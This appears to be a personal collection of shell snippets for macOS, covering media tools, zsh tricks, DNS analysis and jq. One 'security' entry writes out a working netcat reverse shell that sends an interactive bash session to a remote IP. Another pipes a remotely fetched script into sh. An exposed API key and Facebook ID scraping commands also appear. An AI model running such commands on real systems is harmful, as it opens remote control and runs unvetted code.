command = "rlz; IFS=$'\\n'; for d in $(fd --max-depth=1 -t d --exclude=\"*Season*\" --exclude=\"*Unbelie*\" --exclude=\"Super.Pumped\" --exclude=\"Strange.New.Worlds\" --exclude=\"*S[0-9]*\" --exclude=\"Picard\" --exclude='LowerDecks!!!!!!' --exclude=\"Discovery\" --exclude=\"Columbo*\" --exclude=\"*Blu-ray*\" --exclude=\"WeCrashed\" --changed-within=200d) ; do __mpTrivia \"$(realpath \"$d\"/*.m*([1]))\" | head -5 | g -A1 IMDBPro | tail -1 ; sleep 0.2; done 2>&1 | g -v 'unable to figured out EP or Season...'"
output = ""
[[snippets]]
description = "exif data/gps coordinates: get the GPS coords from a .jpg in the actually useful decimal form. Just uses the `-n` flag. Or use `-c '%.6f' -GPSPosition` for specific value and precision"
command = "exiftool -a -n /Users/chris/Library/Messages/Attachments/ed/13/33D76FFF-C72D-4024-8AAD-2E77A734F091/IMG_4054.jpeg | g gps"
output = ""
[[snippets]]
description = "mpv/iina: HDMI spdif direct audio output. Pushes the audio bits to over HDMI for the TV to decode. Necessary for certain things. Might also provide better syncing."
command = "mpv spdif.mp4 --audio-spdif=ac3"
output = ""
[[snippets]]
description = "fs_usage path only extraction: WIP. Why oh why doesn't this tool provide some sort of proper machine readable output..."
command = "unbuffer sudo fs_usage -f pathname -t 10 2>&1 | tee /tmp/fs.log | pcregrep -o1 \"\\s{2,}(/\\w.*(\\S))(>+)?\\s{3,}\\d\""
output = ""
[[snippets]]
description = "restic backups + rclone + dropbox manually: just an example. Needs a bit of work."
command = "# rclone serve restic --addr localhost:8889 --user xxx --pass xxx dbx:restic_testo2 ; restic --verbose=3 --repo rest:http://xxx:xxx@localhost:8889 backup --exclude-larger-than 3M /Volumes/Turbolift/backup_test_folder"
output = ""
[[snippets]]
description = "google maps: render one tile/image on the gmaps API with a marker at the chosen spot. No doubt keys may rotate."
command = "ffplay https://maps.googleapis.com/maps/api/staticmap\\?center\\=37.765,%20-122.421\\&markers\\=color%3A0x1B9ECC%7Clabel%3A%7C37.765,%20-122.421\\&zoom\\=15\\&size\\=375x180\\&scale\\=2\\&key\\=AIzaSyBB3nHiHh4Mh7D3fTPSqE25HlELoAMccl0"
output = ""
[[snippets]]
description = "iina/mpv: sync player 1 to player 2 whenever player 1 is paused. The initial checks are efficient enough that a time-loop is fine. (`mpt` only takes ~4ms to run because it avoids any json parsing)"
command = "while true ; do [[ OLD -ne \"`mpt`\" && \"$(mpg pause)\" == \"true\" ]] && echo SYNCING && OLD=\"`mpt`\" && msync_i2m; echo -n \".\"; sleep 1; done"
output = ""
[[snippets]]
description = "iina/mpv: def for the mpt function... which just uses the mpv ipc socket to quickly get the current time-pos. hackily extracting the time with grep instead of parsing the json with jq is a big speed up (~3ms vs 30ms)"
command = "function mpt() { echo '{ \"command\": [\"get_property\", \"time-pos\"]}' | socat - $MPV_SOCK | grep --color=no -E -o '[0-9\\.]{2,}' }"
output = ""
[[snippets]]
description = "shell-fu: something to grok"
command = ": ${2=$1} # if $2 is unset use $1 as default # if it is set and empty, leave it as is"
output = ""
[[snippets]]
description = "shell-fu: understand `(( $+PWD )`"
command = "if (( $+PWD )); then echo \"PWD EXIST\" ; else echo \"NO PWD....\"; fi"
output = ""
[[snippets]]
description = "webpass/fiber internet: get ALL of webpasses residential addresses. See how close to you they already are."
command = "curl 'https://webpass.net/residential_address_list' | jq"
output = ""
[[snippets]]
description = "svp/motion interpolation: for some reason SVP consumes a constant ~5% of CPU in the background doing nothing. Even when disabled. It only needs to be running so that the vapoursynth scripts using its libraries can pass their DRM check. This process doesn't actually do the interpolation. So why does it consume so much CPU??? relatively minor, but far more than any other background daemon. This just uses `cpulimit` to reduce its background usage. 1% is to little and can cause license check failures, but 2% seems plenty"
command = "sudo cpulimit -l 2 -v -p $(pgrep SVPManager)"
output = ""
[[snippets]]
description = "shell-fu: example of adding a string/parameter only when an arg exists"
command = "reviewers=\"t@t.com\"; ccs=(\"v@v.com\" \"a@a.com\"); echo git send-email --to \"${reviewers}\" ${ccs:+\"--cc\" \"${ccs}\"}"
output = ""
[[snippets]]
description = "afs on-disk transparent compression example"
command = "_afsctool -i -v -d . ; _afsctool -vv -c -5 -i -s 40 . ### AFS decompress and then AFS compress... (min savings 40%, -5 level effort, verbose)"
output = ""
[[snippets]]
description = "curl: save AND send cookies. When copying from chrome, including the cookie headers manually at first, hope their response cookies that are valid, then drop the manual cookie headers and let `--cookie` send the cookies"
command = "curl --cookie cookie.txt --cookie-jar cookie.txt <url> # will both store AND send saved cookies."
output = ""
[[snippets]]
description = "network scanning: parallized and quickly ping scan the network. Floods 3 packets and if any one gets a reply it exits. Ttl is grepped. Fun fact: when macOS is sleeping it has a ttl or 32, when awake a ttl of 64."
command = "for n in 192.168.86.{1..254} ; do echo $n ; done | gparallel --keep-order -j 10 sudo ping -t 1 -o -l 3 -c 3 {} 2> /dev/null | g ttl="
output = ""
[[snippets]]
description = "GNU date can handle ~~ 2^32 years in the future, but not quite. Seem to be 1900 years short. Whats the cause exactly? Dates start a 1900?"
command = "gdate --date \"2147483525 years\" \"+%m/%d/%Y %H:%M:%S\" ## GNU date can handle ~~ 2^32 years in the future, but not quite. Seem to be 1900 years short. Whats the cause exactly? Dates start a 1900?"
output = ""
[[snippets]]
description = "chrome + applescript/jxa: run arbitrary javascript in chrome from applescript"
command = "osascript -l JavaScript -e \"const chrome = Application('Google Chrome')\" -e \"const currentTab = chrome.windows[0].activeTab()\" -e \"currentTab.execute({javascript: 'alert(\\\"Hello\\\")'})\""
output = ""
[[snippets]]
description = "usb port power controller example"
command = "uhubctl -l 20-6 -p 1 -a on"
output = ""
[[snippets]]
description = "hid device api interaction/testing tool. Be careful about sending bytes. First learn the basics. See https://github.com/todbot/hidapitester and https://github.com/libusb/hidapi"
command = "hidapitester --list-detail | less ## see https://github.com/todbot/hidapitester"
output = ""
[[snippets]]
description = "shell-fu: print/repeat a character n times"
command = "echo ${(l[20][Z])} # shell-fu: print/repeat a character n times"
output = ""
[[snippets]]
description = "shell-fu: print align/padded columns using just zsh param expansions. (`l` is left-padding expansion, etc). m flag causes zsh to take into account the display width # https://unix.stackexchange.com/questions/610946/repeating-a-character-using-printf-and-appending-a-newline-at-the-end"
command = "lines=(short 'longer text' 'even longer'); print -rC1 -- ${(ml[40][@][ ])lines}; print -rC1 -- ${(mr[40][@][ ])lines}"
output = ""
[[snippets]]
description = "shell-fu: zsh / 'q' adds quotes 'Q' removes quotes. One layer."
command = "SEARCH_PATHS=(~/Documents /Applications); echo ${(@qq)SEARCH_PATHS}; echo ${(@qqQ)SEARCH_PATHS}; echo ${(@qqQq)SEARCH_PATHS}; echo ${(@qqq)SEARCH_PATHS}; # 'q' adds quotes 'Q' removes quotes. One layer."
output = ""
[[snippets]]
description = "# to toggle \"Fn-Lock\" on the Microsoft ALl-in-one media keybaord press \"Fn+Capslock\" in that order."
command = "# to toggle \"Fn-Lock\" on the Microsoft ALl-in-one media keybaord press \"Fn+Capslock\" in that order."
output = ""
[[snippets]]
description = "aria2c with cookies: use cookies with aria2c, my alias specificaly. Need to export cookies from Chrome using \"Open Cookies.txt\""
command = "ar2c --load-cookies apple.com_cookies.txt https://download.developer.apple.com/Developer_Tools/Additional_Tools_for_Xcode_13.4/Additional_Tools_for_Xcode_13.4.dmg # aria2c and using https://chrome.google.com/webstore/detail/open-cookiestxt/gdocmgbfkjnnpapoeobnolbbkoibbcif/related?hl=en"
output = ""
[[snippets]]
description = "decrypt pdf"
command = "qpdf --decrypt /Users/chris/Downloads/2022/The_Serviceable_2022_Ranger_Manual_PDF.pdf out.pdf"
output = ""
[[snippets]]
description = "game to guess the display hz: randomly switch display refresh rate between 75 and 60. Makes for a fun guessing game!"
command = "CMDS=(\"displayplacer 'id:A34416E9-A03D-4106-B5C6-6C4D27BA66B0 mode:57'\" \"displayplacer 'id:A34416E9-A03D-4106-B5C6-6C4D27BA66B0 mode:75'\"); function hzRand() { eval timeout 1s $CMDS[$((RANDOM % 2 + 1))] ; echo -n \"And the answer is....\"; sleep 3; echo $(system_profiler SPDisplaysDataType | grep hz | g -o \"\\d+ hz\") }"
output = ""
[[snippets]]
description = "ffmpeg webcam recording VERY COMPRESSED"
command = "ffmpeg -threads 1 -f avfoundation -framerate 5 -s \"960x544\" -i \"USB Camera #3:Unknown USB Audio Device\" -maxrate 800K -bufsize 3M -t 30 -x265-params min-keyint=40 -threads 1 -vf \"mpdecimate=max=3:lo=64*7:lo=64*18,settb=AVTB,setpts='trunc(PTS/1K)*1K+st(1,trunc(RTCTIME/1K))-1K*trunc(ld(1)/1K)',drawtext=text='%{localtime}.%{eif\\:1M*t-1K*trunc(t*1K)\\:d}'\" -c:v libx265 -crf 32 -threads 1 -preset medium -c:a libopus -ac 1 -b:a 32k -y /tmp/testo.mkv"
output = ""
[[snippets]]
description = "rename ffmpeg binaries"
command = "rename -nv 's|$|-2022-07-17|g;s|^|_|g' ffplay ffprobe ffmpeg"
output = ""
[[snippets]]
description = "ffmpeg webcam recording: VERY COMPRESSED AND LOW QUALITY. But smaller thanks to -crf 37 and veryslow prset and less CPU thanks libx264. Would be decent for security purposes. Video is usually lower bittrate than the audio even."
command = "_ffmpeg-2022-07-17 -threads 1 -f avfoundation -framerate 10 -s \"864x480\" -i \"USB Camera #3:Unknown USB Audio Device\" -maxrate 500K -bufsize 2.5M -x264-params keyint=100 -keyint_min 100 -af 'aresample' -vf \"mpdecimate=max=4:lo=64*9:hi=64*20,settb=AVTB,setpts='trunc(PTS/1K)*1K+st(1,trunc(RTCTIME/1K))-1K*trunc(ld(1)/1K)',drawtext=text='%{localtime}.%{eif\\:1M*t-1K*trunc(t*1K)\\:d}'\" -c:v libx264 -crf 37 -threads 1 -preset veryslow -c:a libopus -ac 1 -b:a 32k -y /tmp/webcam_h264_20220720-16:32:27.mkv"
output = ""
[[snippets]]
description = "watch/viddy with shell aliases: hack that requires you running 'eval' to get the alias working but it works decently enough"
command = "viddy --shell zsh \"source ~/Dropbox/.zshrc_chris; sudo lsof -P -n -iTCP | eval ga rclone iina google\""
output = ""
[[snippets]]
description = "macos fixing: restart bluetooth and bluetooth audio services... often fixes things on my old mac mini. Recommend disabling bluetooth first, restarting, then enable. Also restart coreaudio as a last resort"
command = "sudo launchctl kickstart -k system/com.apple.bluetoothd; sudo launchctl kickstart -k system/com.apple.bluetoothaudiod; # sudo launchctl kickstart -kp system/com.apple.audio.coreaudiod"
output = ""
[[snippets]]
description = "ffmpeg screen capture and webcam and microphone together"
command = "ffmpeg -f avfoundation -framerate 15 -s \"1280x720\" -i \"USB Camera #3:Subspace Pods 3.1\" -f avfoundation -i \"2\" -f matroska -filter_complex \"[1:v:0]scale=-2:720,[0:v:0]hstack[vo];[0:a:0]volume=1[ao]\" -map \"[vo]\" -c:v hevc_videotoolbox -c:a aac -map \"[ao]\" - | ffplay - # ffmpeg screen capture and webcam and microphone together"
output = ""
[[snippets]]
description = "ffmpeg: make a timelapse with globbing built in from ffmpeg! had no idea `pattern_type` was a real thing"
command = "\\ffmpeg -r 30 -pattern_type glob -i \"screen*.jpg\" -vcodec libx264 lapse-`date +%s`.mp4"
output = ""
[[snippets]]
description = "shell-fu/fd: passes in multiple arguments to a custom shell function with '--'. Super rad"
command = "fd -e mkv --exec-batch zsh -ic 'ffvb $@' --"
output = ""
[[snippets]]
description = "rclone/google photos/dropbox: Copy my Dropbox camera uploads photos to Google Photos. When uploading to an album like this you can see if a photo is already there preventing you re-uploading a duplicate."
command = "rclone -P --rc --rc-addr=\":5573\" -v --modify-window=980000h --multi-thread-cutoff=120M --multi-thread-streams=4 --tpslimit=20 --tpslimit-burst=4 --transfers 15 --stats-file-name-length 0 --max-depth=1 --include='2022-*' --bwlimit=3.5M copy dbx:\"/Camera Uploads/\" gphotos:\"album/Camera_Uploads_Sync\""
output = ""
[[snippets]]
description = "shell-fu: catch Ctrl-C in a local function and do something... like restoring IFS (but there's certainly a better way to do this)"
command = "setopt local_traps local_options; trap \"echo Exiting now... restoring IFS; IFS=\\ $'\\t'$'\\n'$'\\0'; return\" INT"
output = ""
[[snippets]]
description = "macos/audio: make audio device/airpods active by playing an inaudible speech to text... helps get around annoying slowness when starting to play media. Seems to hurt airpods battery life more, but no more then listening to mustic all the time"
command = "say \"[[volm 0.001]] Ping. Ping. Ping Ping. Ping. Ping Ping. Ping. Ping. Ping. Ping. Ping Ping. Ping. Ping Ping. Ping. Ping\""
output = ""
[[snippets]]
description = "pdf: extract and dump all raw images from a pdf. Sometimes can reveal cropped portions of images"
command = "pdfimages -all input.pdf output_dir ## pdfimages -list .pdf"
output = ""
[[snippets]]
description = "zsh-fu: show the name of the function calling your current shell function! useful for error handling functions... can prepend error message with the name of the function calling the error handler easily. Though exception would be nice"
command = "echo $funcstack[2]"
output = ""
[[snippets]]
description = "zsh-fu: enable debugging and trace on a single function! awesome for debugging a precise thing without the total noisey chaos of \"set -x\""
command = "typeset -ft guessit; # typeset -f +t guessit ## This turns OFF debugging"
output = ""
[[snippets]]
description = "ffmpeg volume detection: For various star trek series show the volumedetect max and mean volume for a particular episode from each series"
command = "cd /Volumes/Turbolift/Star\\ Trek; for s in \"Disco\" \"TAS\" \"Voyager\" \"TNG\" \"DS9\" \"TOS\" \"Enterprise\" ; do VERBOSE=1 ffVolume \"$(fd -e mp4 -e mkv -i \".*$s.*S02E03.*\" | head -2 | tail -1 )\" 30 ; done | g '(mean_|max_)'"
output = ""
[[snippets]]
description = "## view notification center settings"
command = "defaults read com.apple.ncprefs ## view notification center settings"
output = ""
[[snippets]]
description = "ui automatin/chrome/facebook: press page down repeatedly to scroll down"
command = "sleep 3; for x in {1..100} ; do cliclick kp:\"page-down\"; sleep $((0.3 + ($RANDOM%30)/25)); done"
output = ""
[[snippets]]
description = "shell-fu / eff coveryour tracks bits sorter: Takes the very ugly and hard to parse data from https://coveryourtracks.eff.org/ and just show you whats leaking the greatest number of bits. Copy the text, as plain text, from the results page here: https://coveryourtracks.eff.org/results?....."
command = "pbpaste | g -v '(WHAT IS THIS|HOW IS THIS USED)' | __grepCaseSensitive -E \"(Bits of|^[A-Z][^a-z]{3,}$)\" | g -B1 'Bits of' | gexm | gsed -E ':a;N;$!ba;s/\\nBits of identifying information: /\\t Bits: /g' | gsort --field-separator=':' -n -k 2 ## copy results from https://coveryourtracks.eff.org/results?&..."
output = ""
[[snippets]]
description = "shell-fu: kill a sleep command that's launched by, and a child of, a long running script. Used in a scraping script with built in delays to one-off kill the delay without interrupting the script."
command = "kill \"$(pstree | g -A1 './scrapy_2022_cat_127_WIP.sh' | g 'sleep ' | grep -v grep | sd '^[^0-9]+' '' | hck -f 1)\""
output = ""
[[snippets]]
description = "zsh debug/shell-fu: Start zsh in interactive mode with debug on (-i and -x), and log the output to a file for analysis. Then count the number of lines of execution on a per file level and see what file has the most lines. But note this is a very poor indiciation of where time is being wasted."
command = "{ zsh -i -x -c 'echo \"DONE\"' 2>&1 } > /tmp/zlog; cat zlog | sd '\\+' '' | hck -d ':' -f 1 | sort | uniq -c | sort -n"
output = ""
[[snippets]]
description = "security: setup a reverse shell. Works on macOS. Both the listener and the target should loop to re-create shell when it exist. zsh doesn't work for some reason i don't yet understand. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md"
command = "## SERVER ---> nc -klv 2000 ; ### CLIENT (target) ---> mkfifo /tmp/myfifo; while true ; do nc 18.18.18.18 2000 < /tmp/myfifo | /bin/bash -i > /tmp/myfifo 2>&1; sleep 1; done ## https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md"
output = ""
[[snippets]]
description = "shell-fu/zsh: loop through an associative array aka dictionary aka hash map. Like .items() in py"
command = "declare -A replaces; replaces[mbps]=\"megabits per second\"; for i o in \"${(@kv)replaces}\"; do echo \"$i --> $o \"; done"
output = ""
[[snippets]]
description = "weather/istat: get weather using private iStat API. Requires iStat weather subscription."
command = "curl -H \"Host: weather.istatmenus.app\" -H \"Accept: */*\" -H \"User-Agent: iStat%20Menus%20Status/1113 CFNetwork/978.6 Darwin/18.7.0 (x86_64)\" -H \"Accept-Language: en-us\" --data \"$ISTAT_WEATHER_BODY\" --compressed \"https://weather.istatmenus.app/istatmenus/fetch.php\" | jq -r '.currently' | jq"
output = ""
[[snippets]]
description = "jq/shell-fu: for every value in an object truncate its key. Relies on the 'trim' function in ~/.jq"
command = "echo '{\"k\":\"' {1..1000} '\",\"k2\":\"weeee yeaaaa' {1..100} '\",\"k3\":\"shorty\"}' | jq 'to_entries | map({(.key): (.value | tostring | trim(50))})' | jq -s '.[] | add'"
output = ""
[[snippets]]
description = "jq/json value to json conversion: complicated example. Filters for json values first."
command = "echo ' {\"testo\":\"weeeeee\",\"blaaaaaah\":{\"123\":\"zzzzzz\"}, \"a\": {\"b\": \"xyzzy\"}, \"k\":\"{\\\"zz\\\":111111}\",\"k2\":\"{\\\"zz2\\\":111222222111}\" }' | jq '[to_entries[] | select((.value | type ==\"string\") and (.value | tostring | startswith(\"{\")))] | from_entries | [to_entries[] | .value |= fromjson] | from_entries ' | less"
output = ""
[[snippets]]
description = "jq/json value conversion: Uses this amazing 'recursively' function to just recursively convert any value string to json. Seems to just keep applying the function and when it works keep it otherwise doesn't change the value."
command = "echo ' {\"testo\":\"weeeeee\",\"blaaaaaah\":{\"123\":\"zzzzzz\"}, \"a\": {\"b\": \"xyzzy\"}, \"k\":\"{\\\"zz\\\":111111}\",\"k2\":\"{\\\"zz2\\\":111222222111}\" }' | jq 'recursively(fromjson)'"
output = ""
[[snippets]]
description = "weather/istat WITH JSON PARSING: get weather using private iStat API. Requires iStat weather subscription. This is like the above but recursively parses any key values from can be converted from a string to json"
command = "curl -H \"Host: weather.istatmenus.app\" -H \"Accept: */*\" -H \"User-Agent: iStat%20Menus%20Status/1113 CFNetwork/978.6 Darwin/18.7.0 (x86_64)\" -H \"Accept-Language: en-us\" --data $ISTAT_WEATHER_BODY --compressed \"https://weather.istatmenus.app/istatmenus/fetch.php\" | jq ' recursively(fromjson) ' | less ## expand body and change provder to \"ds\", \"twc\", or \"ac\" for different providers"
output = ""
[[snippets]]
description = "mpv/iina: use my mpgSwapProp function with a 1s delay to compare the look of different Anime4K upscalers"
command = "rlz; DELAY=1 mpgSwapProp glsl-shaders '~/shaders/Anime4K_Clamp_Highlights.glsl:~~/shaders/Anime4K_Restore_CNN_Soft_VL.glsl:~~/shaders/Anime4K_Upscale_CNN_x2_VL.glsl:~~/shaders/Anime4K_AutoDownscalePre_x2.glsl:~~/shaders/Anime4K_AutoDownscalePre_x4.glsl:~~/shaders/Anime4K_Restore_CNN_Soft_M.glsl:~~/shaders/Anime4K_Upscale_CNN_x2_M.glsl' '~/shaders/Anime4K_Clamp_Highlights.glsl:~~/shaders/Anime4K_Restore_CNN_Soft_L.glsl:~~/shaders/Anime4K_Upscale_CNN_x2_L.glsl:~~/shaders/Anime4K_AutoDownscalePre_x2.glsl:~~/shaders/Anime4K_AutoDownscalePre_x4.glsl:~~/shaders/Anime4K_Restore_CNN_Soft_S.glsl:~~/shaders/Anime4K_Upscale_CNN_x2_S.glsl' '~/shaders/Anime4K_Clamp_Highlights.glsl:~~/shaders/Anime4K_Restore_CNN_Soft_M.glsl:~~/shaders/Anime4K_Upscale_CNN_x2_M.glsl:~~/shaders/Anime4K_AutoDownscalePre_x2.glsl:~~/shaders/Anime4K_AutoDownscalePre_x4.glsl:~~/shaders/Anime4K_Restore_CNN_Soft_S.glsl:~~/shaders/Anime4K_Upscale_CNN_x2_S.glsl' 'invalid'"
output = ""
[[snippets]]
description = "rclone: set timeout to \"5s\". This is useful when net interfaces are changing and you want rclone to use a new one or stop using an old one. Otherwise it'll keep an idle connection open for 5 minutes."
command = "rclone rc options/set --rc-addr \":5572\" --json '{\"main\":{\"Timeout\":5000000000,\"ConnectTimeout\":5000000000}}'"
output = ""
[[snippets]]
description = "ping/networking: monitor groups of ping averages. More useful than looking at live 1 per second ping since that has a lot of variance. (this has lots of variance too, but seemingly less)"
command = "repeat 100 { ping -q -c 20 -i 0.1 1.1.1.1 | g 'round-trip' | hck -D $'\\t' -d '/' }"
output = ""
[[snippets]]
description = "shell-fu/dns/nextdns: nextdns log analysis... find DNS queries that were blocked by only one list and then investigate those. Lets you identitfy a list's unique contribution."
command = "cat /Users/chris/Downloads/2022/e276fb\\ \\(1\\).csv | g ',blocked,' | hck -d ',' -f 2,8- -D , | hck -d '\"' -D \"====\" -f 1,2 | hck -d ',====' -f 1- | g 'blocklist:' | g -v nextdns | g -v ',' | sort | uniq -c | sort -n | less"
output = ""
[[snippets]]
description = "facebook: get facebook user fb id given a username"
command = "_curlcache 'https://www.facebook.com/zuck' .... | htmlq --pretty | g -o '.{0,100}set=pob.\\d+.{0,100}'"
output = ""
[[snippets]]
description = "facebook: get facebook user fb id given a username. Alternative method. All of these are very fragiel."
command = "_curlcache 'https://www.facebook.com/zuck' ...... --compressed | htmlq --pretty | g -o '\"viewerID\":\"\\d+\",\"userVanity\":\"[^\"]+\",\"userID\":\"\\d+\",'"
output = ""
[[snippets]]
description = "facebook: BEST. Get facebook user fb id given a username. Alternative best method. Doesn't require login cookie. Handle 2 different cases which seems to be exhausitive in my test of like 4 users."
command = "_curlcache 'https://www.facebook.com/zuck' -H 'sec-fetch-site: same-origin' -H 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36' --compressed | htmlq --pretty | g -o '(<meta content=\"fb://profile/\\d+|www.facebook.com\\\\\\/[^\"]+\",\"entity_id\":\"\\d+\")'"
output = ""
[[snippets]]
description = "unicode character encoding/srt fixing: Fixes common character encoding bugs that can't just be fixed by using the right encoding to open the file because the file has already been open and saved with inconsistent encoding rules applied by other software. See this post: http://blog.conceptnet.io/posts/2012/fixing-common-unicode-mistakes-with-python-after-theyve-been-made/"
command = "ftfy -o bad_subs.srt fixed_subs.srt ### `pip3 install ftfy` from https://ftfy.readthedocs.io/en/latest/cli.html"
output = ""
[[snippets]]
description = "shell-fu: compare performance of different function...shell timing functions in this case. Has a warm up period which is necessary are updating shell confs with `rlz`. Awk command to get mean value of numbers;"
command = "rlz; COUNT=2000; for x in {1..20}; do startTimer; endTimer; timeShellStart; timeShellEnd; done | wc -l; echo -n \"startTimer:\\t\"; for x in {1..$COUNT} ; do startTimer; endTimer; done | awk '{ total += $2 } END { print total/NR }'; echo -n \"timeShellStart:\\t\"; for x in {1..$COUNT} ; do timeShellStart; timeShellEnd; done | awk '{ total += $2 } END { print total/NR }'"
output = ""
[[snippets]]
description = "shell-fu/shell timing: example of using the 'timeShell' command which evals its input and then prints the total run time"
command = "timeShell 'COUNT=0; for x in {1..200}; do tput cup $COUNT 0; /bin/echo -n x; ((COUNT++)) ; [ $COUNT -gt 30 ] && COUNT=0; done; echo; echo;'"
output = ""
[[snippets]]
description = "shell-fu/tput: Example of using `tput cup` to print 'x' at random parts of the terminal"
command = "while true; do tput cup $((RANDOM % 27)) $((RANDOM % ($(tput cols) - 1) )); echo x; sleep 0.1; done"
output = ""
[[snippets]]
description = "nextdns: run diagnostic command"
command = "sh -c 'sh -c \"$(curl -s https://nextdns.io/diag)\"'"
output = ""
[[snippets]]
description = "dns testing/shell-fu: test time to resolve some DNS queries by using common first names"
command = "for d in $(cat /Users/chris/Dropbox/workspace-defiant/github-misc/wordlists/american-names/firstnames_m.json | jq -r '.[]' | head -350 | tail -20); do timeShellStart; echo -n \"www.${d}:\\t\"; echo \"$(timeout 5s dig @127.0.0.1 www.${d}.com +short | head -1 ) -->\\t$(timeShellEnd)\"; done"
output = ""
[[snippets]]
description = "pmset: undocumented feature... found in /usr/libexec/feedback/sleepwake.sh"
command = "pmset -g fba # pmset: undocumented feature... found in /usr/libexec/feedback/sleepwake.sh"
output = ""
[[snippets]]
description = "dns macOS cache clear"
command = "sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder"
output = ""
[[snippets]]
description = "dns/dnscrypt-proxy log server latency stats (hackily avoiding use of '<<<\"$DNS_LOGS\" since that would look like a varilable to pet"
command = "TAIL_LEN=10000; C=10; DNS_LOGS=\"$(tail -n $TAIL_LEN /tmp/dns.log)\"; SERVERS=($( echo \"$DNS_LOGS\" | g -v '\\t0ms' | g '\\tPASS\\t' | hck -f 6- | hck -d 'ms\\t' -f 2 | g '\\w{3,}' | sort | uniq -c | g -v '\\s\\d\\s' | sort -rn | head -n $C | hck -d '\\d+ ' -f 2 | chomp)); echo; for s in $SERVERS; do printf \"%-45s --> count: %-5s median(ms): %-9.2f hmean(ms): %-9.2f q3(ms): %-12.2f stdev: %5.2f\\n\" $s $(echo \"$DNS_LOGS\" | g -v '\\t0ms' | g '\\tPASS\\t' | g \"\\t${s}\" | g -o \"\\d+ms\" | g -o \"\\d+\" | datamash count 1 median 1 harmmean 1 q3 1 sstdev 1); done | sort -n -k 6"
output = ""
[[snippets]]
description = "dns/macOS: count DNS queries made by each process on macOS in the last 10 mins"
command = "dnslog 'START PID' 10m | g -v 'DNSServiceCreateConnection' | g 'START PID' | hck -d 'START PID' -f 2 | hck -d '[\\(\\)]' -f 2 | sort | uniq -c | sort -nr"
output = ""
[[snippets]]
description = "dns/macOS: use mDNSResponder logs to tally up all the DNS queries made and their count in the last 30 mins"
command = "dnslog 'START PID' 30m | g -v 'DNSServiceCreateConnection' | g 'START PID' | grep -E -o 'DNSS\\w+\\([^\\)]+\\)' | g -v '\\.arpa\\.' | g -v \\.local | hck -d ',\\s*' -f 3 | sort | uniq -c | sort -nr"
output = ""
[[snippets]]
description = "IINA/mpv: tail the most recent IINA log file. Either a new one or the one currently being modified. More generalizable. Will tail the first one it sees modified forever (would be nice if it skipped around to whatever is being modified, but alas)"
command = "fswatch -r --exclude='**' --include='**/iina.log' /Users/chris/Library/Logs/com.colliderli.iina/ | xargs -n 1 -I {} tail -f \"{}\""
output = ""
[[snippets]]
description = "macOS/pmset/finding undocumented flags. Example of just running strings on a util to find the many many undocumented features."
command = "strings -a -2 `which pmset` | g -7500 lowpowermode | __grepCaseSensitive -E '^[a-z]+$' # pmset get undocumented command/settings like 'acattach' 'vactdisabled' 'powersource' 'hibernatefreeratio' 'disablesleep' 'desktopmode' 'highpowermode' 'debugflags' 'btinterval' 'sleepcntsinceboot' 'proximitydisplay' 'systemassertiontimeout' 'getters' 'saaflags' 'unboot', etc.. (or just read pmset source)"
output = ""
[[snippets]]
description = "datamash/shell timing/jq: example of using datamash to figure out the mean/median/harmmean/etc for the average timing of running jq with different options"
command = "for o in '-crM' '-C' '-M' ; do { repeat 5 timeShell 'jq '$o' <<<$J' } | g -o '[0-9\\.]+ ms' | awk '{print(\"'$o'\",\"\\t\",$1)}' ; done | datamash --group 1 median 2 mean 2 harmmean 2 --header-out"
output = ""
[[snippets]]
description = "shell line buffering/shell-fu; Use `gstdbuf` (stdbuf) to make awk or other CLI tools to process pipe data line by line and not overly buffer. Useful for watching live things"
command = "gstdbuf -oL -eL ; # example usage: # for x in {1..15200} ; do mpg video-bitrate; sleep 1; done | grep --line-buffered -E '\\d{2,}' | gstdbuf -oL -eL awk '{printf \"%.3f mb\\n\",$1/1000/1000}' | uniq"
output = ""
[[snippets]]
description = "ffprobe/ffmpeg/video/media: Get size for each video packet/frame in a file via ffprobe. Useful for later figuring out the bitrate or avg bitrate in a section of time. Could use this data to make a bitrate graph"
command = "ffprobe -hide_banner -loglevel error -select_streams v:0 -read_intervals \"%01:22\" -show_entries packet=pts_time,flags,size -of csv=nk=0 \"`mpp`\" | g -C1 'flags=K'"
output = ""
[[snippets]]
description = "ffmpeg/mp4/mov encrption and decryption example"
command = "ffmpeg '-i' 'input.mkv' -encryption_scheme cenc-aes-ctr -encryption_key 76a6c65c5ea762046bd749a2e632ccbb -encryption_kid a7e61c373e219033c21091fa607bf3b8 '-t' '10' '-c' 'copy' -c:a aac 'out.mkv'; ffplay -decryption_key 76a6c65c5ea762046bd749a2e632ccbb out.mkv"
output = ""
[[snippets]]
description = "spindump/macos debugging: Run a spindump... basic example. Then do some very janky parsing of the output to get CPU time. Less useful for small times, but useful for long times when you want to know the total CPU"
command = "sudo spindump -notarget 3 10 -noThrottle && cat $(\\ls -t /tmp/*spindump*.txt | head -1) | g '(CPU Time:|Process:)' | sd -f cim '(^.*)\\n(CPU Time:.*$)' '$2 --- $1' | g 'CPU Time:' | sd '\\s<' ' ' | sd 'Total CPU Time:' 'Total_CPU Time:' | sort -nr -k 3 | less"
output = ""
[[snippets]]
description = "spindump single process/macos debugging: Run a spindump, but on a process. basic example. Then do the same janky parsing of the output to get CPU time. Total possible time is sample time * # of cores."
command = "sudo spindump IINA 3 10 -onlyTarget -noThrottle && cat $(\\ls -t /tmp/*spindump*.txt | head -1) | g '(CPU Time:|Process:)' | sd -f cim '(^.*)\\n(CPU Time:.*$)' '$2 --- $1' | g 'CPU Time:' | sd '\\s<' ' ' | sd 'Total CPU Time:' 'Total_CPU Time:' | sort -nr -k 3 | less"
output = ""
[[snippets]]
description = "convert 2000 epoch time to classic unix 1970 epoch time. Was a little annoying to figure out how many secodns elapsed in that time period! (leap seconds happened, etc)"
command = "EPOCH_2000_DIFF=946684800; gdate -d @$((687573321 + 946684800))"
output = ""
[[snippets]]
description = "itunes/ios get backup size/shell-fu: For every iTunes iDevice local backup, print it's backup ID (path), it's device name (useful!!), and its total size"
